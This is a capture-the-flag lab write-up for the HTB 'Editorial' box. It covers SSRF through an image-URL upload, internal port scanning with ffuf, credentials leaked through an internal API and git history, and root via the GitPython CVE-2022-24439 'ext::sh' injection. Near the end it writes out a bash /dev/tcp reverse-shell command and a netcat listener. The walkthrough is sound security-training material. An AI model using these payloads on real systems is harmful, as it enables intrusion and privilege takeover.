Summary
Editorial is an easy Linux HTB box and part of Season 5.
The machine hosts a website on port 80 with an image upload feature via URLs. This feature has an SSRF vulnerability that allows us to scan for other web servers not exposed to the internet.
Through this, we discover an API on port 5000 that isn’t accessible from outside. This API has instructions for its various endpoints.
Using the new_authors
endpoint, we retrieve messages, one of which reveals credentials for the dev
user. We use this password to SSH into the machine as dev
.
In dev
’s home directory, we find the app
directory, which contains a local Git repository for the API’s source code.
Examining the logs, we see that in an earlier commit the message from before disclosed credentials for the prod
user instead. Now, we have access to the prod
account.
The prod
user can execute a custom script as root that uses GitPython’s clone_from
method, which is vulnerable to RCE as per CVE-2022-24439.
We exploit this by running the script with a payload in the URL parameter, leading to command execution as root.
Writeup
Information Gathering
We start by running an Nmap TCP version scan on all ports and find an SSH service and a web server on port 80. It’s a Linux machine.
┌──(user㉿kali)-[~/Boxes/HTB/_Season5/Editorial]
└─$ sudo nmap -sV -T4 -v <BOX-IP> -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-19 16:10 WEST
<SNIP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When we visit the website in our browser, we get redirected to editorial.htb
, so we add this to our /etc/hosts
.
The site looks like it’s for a book publishing company called Tempo Arriba.

Landing page for the Tempo Arriba site.
Exploring the site, we come across the /upload
directory, which seems to be a form for submitting book information to be published.

/upload directory.
The form lets us upload a book cover image either from a local file or via a URL.
We start by uploading a local image to see what happens. After selecting a file and clicking preview, the image is rendered in the HTML.

Image being rendered after uploading.
Upload functionalities are often high-value targets, so we intercept the request with a web proxy to dig deeper.

Request for uploading a local image.
It turns out we can’t control the filename of the uploaded file, so uploading a PHP webshell is unlikely. However, there might be other avenues to explore.
Next, we set up a simple HTTP server on our machine to host an image file and test how the cover URL function works.

Uploading image using an URL.
┌──(user㉿kali)-[~/Pictures]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
<BOX-IP> - - [24/Jul/2024 15:26:23] "GET /cat.jpeg HTTP/1.1" 200 -
Intercepting the request again, we confirm that the URL we provided is included in the request. This suggests that the web server uses the URL to fetch the image from our server.

Request for uploading an image via URL.
Vulnerability Assessment & Exploitation
This looks like a great candidate for a Server-Side Request Forgery (SSRF) attack. SSRF lets us trick a web server into making requests on our behalf, potentially bypassing access controls or network segmentation.
Since we don’t have many angles to explore right now, let’s start by checking if the web server can also download other file types from our server, like HTML files.

Get request for uploading an HTML page hosted on our machine.
After uploading an HTML file, we check if the web server downloaded it and if we can read its contents.
┌──(user㉿kali)-[/tmp]
└─$ curl editorial.htb/static/uploads/643a8078-b5ea-4152-b408-dad06cbe4f6c
<!doctype html>
<html>
<head>
<title>Just a sample HTML document for testing purposes.</title>
</head>
</html>
It seems like we can.
So, we know there’s only one web server exposed to the internet, running the Tiempo Arriba site on port 80. However, there could be other services running on internal ports that aren’t publicly accessible. If the web server can fetch an HTML file from a URL and return the results, we might be able to perform a port scan by making it request different TCP ports from itself. This way, if there are internal services on other ports, we can detect them.
We could use Burp Suite’s Intruder to make the web server treat http://localhost:<PORT>
as the image URL, where <PORT>
represents all 65,535 TCP ports. This involves making multiple requests, one per port. However, the community edition of Burp Suite has a limitation: Intruder uses only one thread, making this process very slow and potentially taking many hours.
Instead, we use the web fuzzing tool FFUF. Setting it up for this use case was tricky, but I got it working.
First, create a wordlist file with all ports from 1 to 65,535.
┌──(user㉿kali)-[~/…/_Season5/Editorial/External/Tools]
└─$ seq 1 65535 > ports.lst
Next, save the HTTP request to a file to use with FFUF. Replace the port number with the FUZZ
keyword, where FFUF will inject the port number.
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://editorial.htb/upload
Content-Type: multipart/form-data; boundary=---------------------------360871362810882070102981238478
Content-Length: 371
Origin: http://editorial.htb
Connection: close
Pragma: no-cache
Cache-Control: no-cache
-----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------360871362810882070102981238478--
We then use FFUF to send requests to the upload-cover
page with the port wordlist.
However, all requests return an HTTP 200 status code, so they all look like positives.
┌──(user㉿kali)-[~/…/_Season5/Editorial/External/Tools]
└─$ ffuf -c -w ./ports.lst -request request.raw -u http://editorial.htb/upload-cover
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/user/Boxes/HTB/_Season5/Editorial/External/Tools/ports.lst
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Referer: http://editorial.htb/upload
:: Header : Content-Type: multipart/form-data; boundary=---------------------------360871362810882070102981238478
:: Header : Origin: http://editorial.htb
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: */*
:: Header : Connection: close
:: Header : Pragma: no-cache
:: Header : Cache-Control: no-cache
:: Data : -----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------360871362810882070102981238478--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 52ms]
38 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 54ms]
12 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 56ms]
18 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 59ms]
8 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 60ms]
<SNIP>
Digging a little deeper, we see that when we query a resource that doesn’t exist, the response includes a “file not found” static image located at /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
.

Get request for a missing HTTP resource.
To filter out false positives, we add the -fr 'unsplash'
flag to FFUF. This filters out any responses containing the string unsplash
, so FFUF only shows ports with results that are not this “file not found” image and thus indicate something new.
┌──(user㉿kali)-[~/…/_Season5/Editorial/External/Tools]
└─$ ffuf -c -w ./ports.lst -request request.raw -u http://editorial.htb/upload-cover -fr 'unsplash'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/user/Boxes/HTB/_Season5/Editorial/External/Tools/ports.lst
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://editorial.htb
:: Header : Connection: close
:: Header : Cache-Control: no-cache
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: */*
:: Header : Referer: http://editorial.htb/upload
:: Header : Content-Type: multipart/form-data; boundary=---------------------------360871362810882070102981238478
:: Header : Pragma: no-cache
:: Data : -----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------360871362810882070102981238478
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------360871362810882070102981238478--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: unsplash
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 135ms]
<SNIP>
It turns out the result from http://localhost:5000
isn’t the “not found” file! There’s something on port 5000 that isn’t accessible from the outside.
It took just 17 seconds to discover the web server on port 5000, whereas using Burp Suite Intruder would have likely taken over an hour.
Let’s make another request to port 5000 and see what the web server downloaded for us.

Get request for getting the HTML resource at port 5000.
┌──(user㉿kali)-[~]
└─$ curl -s 'http://editorial.htb/static/uploads/95a28b0a-6f32-41d6-bc3a-9eef980525bb' | jq .
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
We find an API running on port 5000 that isn’t exposed to the internet. Since the requests are all GET requests, we can have the web server interact with these endpoints.
Using the same technique as before, we get the web server to make a request to http://localhost:5000/api/latest/metadata/messages/authors
. This endpoint contains a message for new authors.
┌──(user㉿kali)-[~]
└─$ curl -s 'http://editorial.htb/static/uploads/d970b7fd-7143-48ab-a762-faddd0df0205' | jq .
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: <PASSWORD>\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
The message reveals the credentials for the dev
user. Since we know the box has an SSH service, we can now try to authenticate with these credentials.
┌──(user㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
<SNIP>
dev@editorial:~$ ls .
apps linpeas.sh user.txt
Privilege Escalation
User
The dev
user has limited privileges, so we need to find more powerful users to root the machine.
In the dev
home directory, we spot an apps
directory. Inside, there’s a hidden .git
directory.
dev@editorial:~$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
If you’re familiar with Git, you know that whenever you create or clone a repository, a hidden directory named .git
is automatically created. This directory stores all the essential information about the repository, including the commit history, branches, remote origins, and more.
We should investigate this repository to see what it’s for and what information we can extract. We run git log -p
to view the commit history.
dev@editorial:~/apps$ git log -p
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500
<SNIP>
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: <PROD-PASSWORD>\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword:<DEV-PASSWORD>\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
<SNIP>
The log is quite large, but it’s clear this repository is for the API we just interacted with. The source code is missing from the directory, but among the commits, we find that in an earlier version, the credentials revealed in the message were for the prod
user, not dev
.
With this, we now have access to the prod
user as well.
dev@editorial:~/apps$ su prod
Password: <PROD-PASSWORD>
prod@editorial:/home/dev/apps$
Root
After gaining access to the prod
user, we find it has some interesting sudo rights.
prod@editorial:/home/dev/apps$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
The prod
user can run a Python script named clone_prod_change.py
as root and can supply any parameters due to the wildcard at the end of the command.
Let’s examine what this Python script does.
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Basically, the script changes the working directory to /opt/internal_apps/clone_changes
, retrieves a URL from the command-line arguments, initializes a bare Git repository, and clones the repository from the provided URL into a directory named new_changes
with a specific Git configuration option.
The only wiggle room we have when interacting with this script is the url_to_clone
variable, which we can provide as a command-line argument. If the script is exploitable, it must have something to do with how the GitPython
library’s clone_from
method handles the URL argument.
Searching online for GitPython clone_from vulnerability
, we find CVE-2022-24439, a Remote Code Execution (RCE) vulnerability affecting versions up to 3.1.30. This vulnerability arises from improper input validation, allowing a maliciously crafted remote URL to be injected into the clone command.
We confirm that the version of GitPython used by the script is indeed vulnerable.
dev@editorial:~/apps$ pip show gitpython
Name: GitPython
Version: 3.1.29
Summary: GitPython is a python library used to interact with Git repositories
Home-page: https://github.com/gitpython-developers/GitPython
Author: Sebastian Thiel, Michael Trier
Author-email: [email protected], [email protected]
License: BSD
Location: /usr/local/lib/python3.10/dist-packages
Requires: gitdb
Required-by:
To exploit this, we provide an argument like ext::sh -c <COMMAND>
. We test this by creating a file in our home directory.
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c touch% /home/prod/proof"
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /home/prod/proof new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -l
total 4
-rw-r--r-- 1 root root 0 Jul 23 15:41 proof
Despite some errors printed by the script, the file is created successfully and with root privileges.
The final step is to execute a reverse shell payload as root to get a root shell. I had difficulty fitting the entire payload into a command-line argument, so instead, I created an executable shell file that contains the payload and ran that script.
prod@editorial:~$ echo '#!/bin/bash' > shell
prod@editorial:~$ echo '/bin/bash -i >& /dev/tcp/10.10.14.251/4444 0>&1' >> shell
prod@editorial:~$ chmod u+x shell
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c /home/prod/shell"
[sudo] password for prod:
<HANG>
We get a root shell on our listener, successfully rooting the box.
┌──(user㉿kali)-[~]
└─$ sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [<MY-IP>] from (UNKNOWN) [<BOX-IP>] 47126
root@editorial:/opt/internal_apps/clone_changes# ls /root
root.txt